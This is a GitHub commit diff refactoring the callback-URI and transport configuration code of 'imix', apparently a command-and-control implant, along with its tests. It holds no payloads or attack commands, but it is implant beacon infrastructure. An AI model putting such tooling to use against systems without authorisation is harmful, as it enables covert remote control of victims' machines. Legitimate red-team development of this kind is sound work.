Skip to content

Commit 95889a5

Browse files
Address code review feedback
- Remove unused imports and variables in agent.rs - Switch to and_then syntax for cleaner Option chaining - Refactor parse_dsn to return Transport struct directly - Convert default parameters to const values - Bubble up errors instead of returning defaults - Use named enum variants instead of numeric constants in tests - Update all test cases to use TransportType enum 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Hulto <hulto@users.noreply.github.com>
1 parent eabf3cf commit 95889a5

File tree

4 files changed

+84
-122
lines changed

4 files changed

+84
-122
lines changed

implants/imix/src/agent.rs

Lines changed: 15 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -88,16 +88,6 @@ impl<T: Transport + 'static> Agent<T> {
8888
* Callback once using the configured client to claim new tasks and report available output.
8989
*/
9090
pub async fn callback(&mut self) -> Result<()> {
91-
//TODO: De-dupe this fields - probably just need to pass the config not the callback URI.
92-
let beacon = self.cfg.info.clone().context("failed to get info")?;
93-
let available_transports = beacon
94-
.available_transports
95-
.context("failed to get available transports")?;
96-
let _active_transport = available_transports
97-
.transports
98-
.get(available_transports.active_index as usize)
99-
.context("active transport index out of bounds")?;
100-
10191
self.t = T::new(self.cfg.clone())?;
10292
self.claim_tasks(self.t.clone()).await?;
10393
self.report(self.t.clone()).await?;
@@ -130,19 +120,23 @@ impl<T: Transport + 'static> Agent<T> {
130120
return Ok(());
131121
}
132122

133-
let interval = match self.cfg.info.clone() {
134-
Some(b) => {
135-
let available_transports = b
136-
.available_transports
137-
.context("failed to get available transports")?;
138-
let active_transport = available_transports
123+
let interval = self
124+
.cfg
125+
.info
126+
.clone()
127+
.context("beacon info is missing from agent")
128+
.and_then(|b| {
129+
b.available_transports
130+
.context("failed to get available transports")
131+
})
132+
.and_then(|available_transports| {
133+
available_transports
139134
.transports
140135
.get(available_transports.active_index as usize)
141-
.context("active transport index out of bounds")?;
142-
Ok(active_transport.interval)
143-
}
144-
None => Err(anyhow::anyhow!("beacon info is missing from agent")),
145-
}?;
136+
.cloned()
137+
.context("active transport index out of bounds")
138+
})
139+
.map(|active_transport| active_transport.interval)?;
146140
let delay = match interval.checked_sub(start.elapsed().as_secs()) {
147141
Some(secs) => Duration::from_secs(secs),
148142
None => Duration::from_secs(0),

implants/lib/pb/src/config.rs

Lines changed: 62 additions & 95 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
use anyhow::Context;
12
use url::Url;
23
use uuid::Uuid;
34

@@ -45,6 +46,9 @@ pub const CALLBACK_INTERVAL: &str = callback_interval!();
4546
/* Default interval value in seconds */
4647
const DEFAULT_INTERVAL_SECONDS: u64 = 5;
4748

49+
/* Default extra config value */
50+
const DEFAULT_EXTRA_CONFIG: &str = "";
51+
4852
macro_rules! retry_interval {
4953
() => {
5054
match option_env!("IMIX_RETRY_INTERVAL") {
@@ -103,99 +107,65 @@ fn get_transport_type(uri: &str) -> crate::c2::transport::Type {
103107
*
104108
* Example: https://example.com?interval=10&extra={"key":"value"}
105109
*/
106-
fn parse_transports(
107-
uri_string: &str,
108-
default_callback_interval: u64,
109-
default_extra_config: String,
110-
) -> Vec<Transport> {
110+
fn parse_transports(uri_string: &str) -> Vec<Transport> {
111111
uri_string
112112
.split(';')
113113
.filter(|s| !s.trim().is_empty())
114-
.map(|uri| {
114+
.filter_map(|uri| {
115115
let uri_trimmed = uri.trim();
116-
117-
// Parse the URI to extract query parameters
118-
let (base_uri, interval, extra) = parse_dsn(
119-
uri_trimmed,
120-
default_callback_interval,
121-
&default_extra_config,
122-
);
123-
124-
Transport {
125-
uri: base_uri,
126-
interval,
127-
r#type: get_transport_type(uri_trimmed) as i32,
128-
extra,
129-
}
116+
parse_dsn(uri_trimmed).ok()
130117
})
131118
.collect()
132119
}
133120

134121
/*
135122
* Helper function to parse DSN query parameters
136-
* Returns (base_uri, interval, extra_config)
123+
* Returns a Transport struct
137124
*/
138-
fn parse_dsn(uri: &str, default_interval: u64, default_extra: &str) -> (String, u64, String) {
139-
// Try to parse as a URL to extract query parameters
140-
match Url::parse(uri) {
141-
Ok(parsed_url) => {
142-
let mut interval = default_interval;
143-
let mut extra = default_extra.to_string();
144-
145-
// Parse query parameters
146-
for (key, value) in parsed_url.query_pairs() {
147-
match key.as_ref() {
148-
"interval" => {
149-
if let Ok(parsed_interval) = value.parse::<u64>() {
150-
interval = parsed_interval;
151-
} else {
152-
#[cfg(debug_assertions)]
153-
log::warn!(
154-
"Failed to parse interval parameter '{}', using default",
155-
value
156-
);
157-
}
158-
}
159-
"extra" => {
160-
extra = value.to_lowercase();
161-
}
162-
_ => {
163-
#[cfg(debug_assertions)]
164-
log::debug!("Ignoring unknown query parameter: {}", key);
165-
}
166-
}
125+
fn parse_dsn(uri: &str) -> anyhow::Result<Transport> {
126+
// Parse as a URL to extract query parameters
127+
let parsed_url = Url::parse(uri)
128+
.with_context(|| format!("Failed to parse URI '{}'", uri))?;
129+
130+
let mut interval = DEFAULT_INTERVAL_SECONDS;
131+
let mut extra = DEFAULT_EXTRA_CONFIG.to_string();
132+
133+
// Parse query parameters
134+
for (key, value) in parsed_url.query_pairs() {
135+
match key.as_ref() {
136+
"interval" => {
137+
interval = value.parse::<u64>()
138+
.with_context(|| format!("Failed to parse interval parameter '{}'", value))?;
139+
}
140+
"extra" => {
141+
extra = value.to_lowercase();
142+
}
143+
_ => {
144+
#[cfg(debug_assertions)]
145+
log::debug!("Ignoring unknown query parameter: {}", key);
167146
}
168-
169-
// Reconstruct the base URI without query parameters
170-
let mut base_uri = parsed_url.clone();
171-
base_uri.set_query(None);
172-
(base_uri.to_string(), interval, extra)
173-
}
174-
Err(_) => {
175-
// If URL parsing fails, return the original URI with defaults
176-
#[cfg(debug_assertions)]
177-
log::warn!("Failed to parse URI '{}', using defaults", uri);
178-
(uri.to_string(), default_interval, default_extra.to_string())
179147
}
180148
}
149+
150+
// Reconstruct the base URI without query parameters
151+
let mut base_uri = parsed_url.clone();
152+
base_uri.set_query(None);
153+
154+
Ok(Transport {
155+
uri: base_uri.to_string(),
156+
interval,
157+
r#type: get_transport_type(uri) as i32,
158+
extra,
159+
})
181160
}
182161

183162
/*
184163
* Helper function to parse callback interval with fallback
185164
*/
186-
fn parse_callback_interval() -> u64 {
187-
match CALLBACK_INTERVAL.parse::<u64>() {
188-
Ok(i) => i,
189-
Err(_err) => {
190-
#[cfg(debug_assertions)]
191-
log::error!(
192-
"failed to parse callback interval constant, defaulting to {} seconds: {_err}",
193-
DEFAULT_INTERVAL_SECONDS
194-
);
195-
196-
DEFAULT_INTERVAL_SECONDS
197-
}
198-
}
165+
fn parse_callback_interval() -> anyhow::Result<u64> {
166+
CALLBACK_INTERVAL
167+
.parse::<u64>()
168+
.with_context(|| format!("Failed to parse callback interval constant '{}'", CALLBACK_INTERVAL))
199169
}
200170

201171
/*
@@ -221,9 +191,7 @@ impl Config {
221191
std::env::var("IMIX_BEACON_ID").unwrap_or_else(|_| String::from(Uuid::new_v4()));
222192

223193
// Parse CALLBACK_URI by splitting on ';' to support multiple transports
224-
let callback_interval = parse_callback_interval();
225-
let extra_config = extra!();
226-
let transports = parse_transports(CALLBACK_URI, callback_interval, extra_config);
194+
let transports = parse_transports(CALLBACK_URI);
227195

228196
// Create AvailableTransports with the 0th element as the first active transport
229197
let available_transports = AvailableTransports {
@@ -398,7 +366,7 @@ mod tests {
398366
fn test_empty_uri_filtered() {
399367
// Test that empty URIs are filtered out using parse_transports
400368
let uris = "http://example.com;;https://example2.com";
401-
let transports = parse_transports(uris, 5, String::new());
369+
let transports = parse_transports(uris);
402370

403371
assert_eq!(transports.len(), 2);
404372
assert_eq!(transports[0].uri, "http://example.com/");
@@ -409,7 +377,7 @@ mod tests {
409377
fn test_dsn_with_interval_query_param() {
410378
// Test DSN parsing with interval query parameter
411379
let uris = "https://example.com?interval=10";
412-
let transports = parse_transports(uris, 5, String::new());
380+
let transports = parse_transports(uris);
413381

414382
assert_eq!(transports.len(), 1);
415383
assert_eq!(transports[0].uri, "https://example.com/");
@@ -421,19 +389,19 @@ mod tests {
421389
fn test_dsn_with_extra_query_param() {
422390
// Test DSN parsing with extra query parameter (converted to lowercase)
423391
let uris = "https://example.com?extra=%7B%22key%22%3A%22value%22%7D";
424-
let transports = parse_transports(uris, 5, String::new());
392+
let transports = parse_transports(uris);
425393

426394
assert_eq!(transports.len(), 1);
427395
assert_eq!(transports[0].uri, "https://example.com/");
428-
assert_eq!(transports[0].interval, 5);
396+
assert_eq!(transports[0].interval, DEFAULT_INTERVAL_SECONDS);
429397
assert_eq!(transports[0].extra, r#"{"key":"value"}"#);
430398
}
431399

432400
#[test]
433401
fn test_dsn_with_both_query_params() {
434402
// Test DSN parsing with both interval and extra query parameters (extra converted to lowercase)
435403
let uris = "https://example.com?interval=15&extra=%7B%22proxy%22%3A%22http%3A%2F%2Fproxy.local%22%7D";
436-
let transports = parse_transports(uris, 5, String::new());
404+
let transports = parse_transports(uris);
437405

438406
assert_eq!(transports.len(), 1);
439407
assert_eq!(transports[0].uri, "https://example.com/");
@@ -445,7 +413,7 @@ mod tests {
445413
fn test_dsn_multiple_uris_with_different_params() {
446414
// Test multiple DSNs with different parameters
447415
let uris = "https://primary.com?interval=10;https://fallback.com?interval=30";
448-
let transports = parse_transports(uris, 5, String::new());
416+
let transports = parse_transports(uris);
449417

450418
assert_eq!(transports.len(), 2);
451419
assert_eq!(transports[0].uri, "https://primary.com/");
@@ -458,35 +426,34 @@ mod tests {
458426
fn test_dsn_no_query_params_uses_defaults() {
459427
// Test that URIs without query parameters use default values
460428
let uris = "https://example.com";
461-
let default_extra = r#"{"default":"config"}"#.to_string();
462-
let transports = parse_transports(uris, 20, default_extra.clone());
429+
let transports = parse_transports(uris);
463430

464431
assert_eq!(transports.len(), 1);
465432
assert_eq!(transports[0].uri, "https://example.com/");
466-
assert_eq!(transports[0].interval, 20);
467-
assert_eq!(transports[0].extra, default_extra);
433+
assert_eq!(transports[0].interval, DEFAULT_INTERVAL_SECONDS);
434+
assert_eq!(transports[0].extra, DEFAULT_EXTRA_CONFIG);
468435
}
469436

470437
#[test]
471438
fn test_dsn_invalid_interval_uses_default() {
472-
// Test that invalid interval values fall back to default
439+
// Test that invalid interval values are filtered out (error bubbles up)
473440
let uris = "https://example.com?interval=invalid";
474-
let transports = parse_transports(uris, 7, String::new());
441+
let transports = parse_transports(uris);
475442

476-
assert_eq!(transports.len(), 1);
477-
assert_eq!(transports[0].uri, "https://example.com/");
478-
assert_eq!(transports[0].interval, 7); // Should use default
443+
// Since parse_dsn now returns Result and invalid intervals bubble up errors,
444+
// the filter_map will filter out this entry
445+
assert_eq!(transports.len(), 0);
479446
}
480447

481448
#[test]
482449
fn test_dsn_mixed_with_and_without_params() {
483450
// Test mixed URIs (some with params, some without)
484451
let uris = "https://first.com?interval=10;https://second.com;https://third.com?interval=25";
485-
let transports = parse_transports(uris, 5, String::new());
452+
let transports = parse_transports(uris);
486453

487454
assert_eq!(transports.len(), 3);
488455
assert_eq!(transports[0].interval, 10);
489-
assert_eq!(transports[1].interval, 5); // Uses default
456+
assert_eq!(transports[1].interval, DEFAULT_INTERVAL_SECONDS); // Uses default
490457
assert_eq!(transports[2].interval, 25);
491458
}
492459

@@ -496,7 +463,7 @@ mod tests {
496463
// The url crate should handle the parsing automatically
497464
let uris =
498465
r#"https://example.com?interval=20&extra={"key":"value","nested":{"Foo":"Bar"}}"#;
499-
let transports = parse_transports(uris, 5, String::new());
466+
let transports = parse_transports(uris);
500467

501468
assert_eq!(transports.len(), 1);
502469
assert_eq!(transports[0].uri, "https://example.com/");

implants/lib/transport/src/dns.rs

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
use crate::Transport;
22
use anyhow::{Context, Result};
3+
use pb::c2::transport::Type as TransportType;
34
use pb::c2::*;
45
use pb::config::Config;
56
use pb::dns::*;
@@ -1191,7 +1192,7 @@ mod tests {
11911192
transports: vec![Transport {
11921193
uri: uri.to_string(),
11931194
interval: 5,
1194-
r#type: 3, // DNS
1195+
r#type: TransportType::TransportDns as i32,
11951196
extra: "{}".to_string(),
11961197
}],
11971198
active_index: 0,

implants/lib/transport/src/lib.rs

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -313,7 +313,7 @@ mod tests {
313313
];
314314

315315
for uri in inputs {
316-
let config = create_test_config(uri, 1); // TRANSPORT_GRPC = 1
316+
let config = create_test_config(uri, TransportType::TransportGrpc as i32);
317317
let result = ActiveTransport::new(config);
318318

319319
// 1. Assert strictly on the Variant type
@@ -332,7 +332,7 @@ mod tests {
332332
let inputs = vec!["http1://127.0.0.1:8080", "https1://127.0.0.1:8080"];
333333

334334
for uri in inputs {
335-
let config = create_test_config(uri, 2); // TRANSPORT_HTTP1 = 2
335+
let config = create_test_config(uri, TransportType::TransportHttp1 as i32);
336336
let result = ActiveTransport::new(config);
337337

338338
assert!(
@@ -354,7 +354,7 @@ mod tests {
354354
];
355355

356356
for uri in inputs {
357-
let config = create_test_config(uri, 3); // TRANSPORT_DNS = 3
357+
let config = create_test_config(uri, TransportType::TransportDns as i32);
358358
let result = ActiveTransport::new(config);
359359

360360
assert!(
@@ -371,7 +371,7 @@ mod tests {
371371
// If the feature is off, these should error out
372372
let inputs = vec!["grpc://foo", "grpcs://foo", "http://foo"];
373373
for uri in inputs {
374-
let config = create_test_config(uri, 1); // TRANSPORT_GRPC = 1
374+
let config = create_test_config(uri, TransportType::TransportGrpc as i32);
375375
let result = ActiveTransport::new(config);
376376
assert!(
377377
result.is_err(),
@@ -384,7 +384,7 @@ mod tests {
384384
#[tokio::test]
385385
async fn test_unknown_transport_errors() {
386386
// Test with unspecified transport type
387-
let config = create_test_config("ftp://example.com", 0); // TRANSPORT_UNSPECIFIED = 0
387+
let config = create_test_config("ftp://example.com", TransportType::TransportUnspecified as i32);
388388
let result = ActiveTransport::new(config);
389389
assert!(result.is_err(), "Expected error for unknown transport type");
390390
}

0 commit comments

Comments
 (0)